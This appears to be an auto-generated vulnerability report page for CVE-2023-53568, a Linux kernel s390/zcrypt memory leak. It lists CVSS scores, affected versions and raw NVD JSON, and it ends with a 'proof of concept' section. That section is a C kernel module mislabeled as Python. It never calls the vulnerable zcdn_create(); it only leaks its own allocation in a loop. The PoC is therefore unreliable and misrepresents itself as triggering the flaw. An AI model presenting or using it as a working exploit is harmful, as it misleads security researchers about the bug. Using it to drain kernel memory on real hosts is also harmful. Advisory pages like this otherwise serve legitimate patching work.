Security Vulnerability Report
中文
CVE-2023-53568 CVSS 5.5 MEDIUM

CVE-2023-53568

Published: 2025-10-04 16:15:52
Last Modified: 2026-03-21 00:40:54
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: s390/zcrypt: don't leak memory if dev_set_name() fails When dev_set_name() fails, zcdn_create() doesn't free the newly allocated resources. Do it.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel (s390架构相关稳定版本)
受影响的commit范围需通过git log核查0878052579cb之前的版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2023-53568 Proof of Concept // Trigger memory leak by forcing dev_set_name() failure in zcdn_create() #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/device.h> // Simulate the vulnerable zcdn_create() function static struct device *zcdn_create_test(void) { struct device *dev; int ret; // Allocate device structure (simulating the vulnerable allocation) dev = kzalloc(sizeof(struct device), GFP_KERNEL); if (!dev) return NULL; // Attempt to set device name - if this fails, memory is leaked // in the vulnerable version ret = dev_set_name(dev, "zcrypt_test_device"); if (ret) { // VULNERABILITY: In the original vulnerable code, this path // does not free the allocated 'dev' structure, causing memory leak printk(KERN_ERR "dev_set_name failed: %d\n", ret); return NULL; // Memory leak occurs here in vulnerable version } return dev; } static int __init poc_init(void) { int i; // Repeatedly trigger the vulnerable code path to accumulate memory leak for (i = 0; i < 1000; i++) { zcdn_create_test(); } printk(KERN_INFO "PoC: Triggered potential memory leak\n"); return 0; } static void __exit poc_exit(void) { printk(KERN_INFO "PoC: Module unloaded\n"); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("CVE-2023-53568 PoC - s390/zcrypt memory leak"); // Fix verification - the patched version should include: // After dev_set_name() failure, add kfree(dev) or proper cleanup // Example fix: // ret = dev_set_name(dev, "zcrypt_%d", ...); // if (ret) { // kfree(dev); // Fix: free allocated memory on failure // return ERR_PTR(ret); // }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53568", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:52.343", "lastModified": "2026-03-21T00:40:53.837", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ns390/zcrypt: don't leak memory if dev_set_name() fails\n\nWhen dev_set_name() fails, zcdn_create() doesn't free the newly\nallocated resources. Do it."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.257", "matchCriteriaId": "834BD148-28EC-43A4-A4F5-458124A1E39F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.195", "matchCriteriaId": "C385B650-53DB-4BFB-83D1-1D8FADF653EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.132", "matchCriteriaId": "5913891D-409A-4EEC-9231-F2EF5A493BC7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.54", "matchCriteriaId": "7353B9B4-AFFC-45DE-840E-1A7D2B00E7AD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.5.4", "matchCriteriaId": "CA8C8B88-AF36-445D-A228-AD78F3615373"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0878052579cb2773caee64812a811edcab6b5a55", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/131cd74a8e38d75239f2c81dfee53d6554eb8bf8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/147d8da33a2c2195ec63acd56cd7d80a3458c253", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/174f11ef1615ec3ab1e2189685864433c0d855a2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6252f47b78031979ad919f971dc8468b893488bd", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6b0cb9c055843777b374309503d89eabeb769355", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}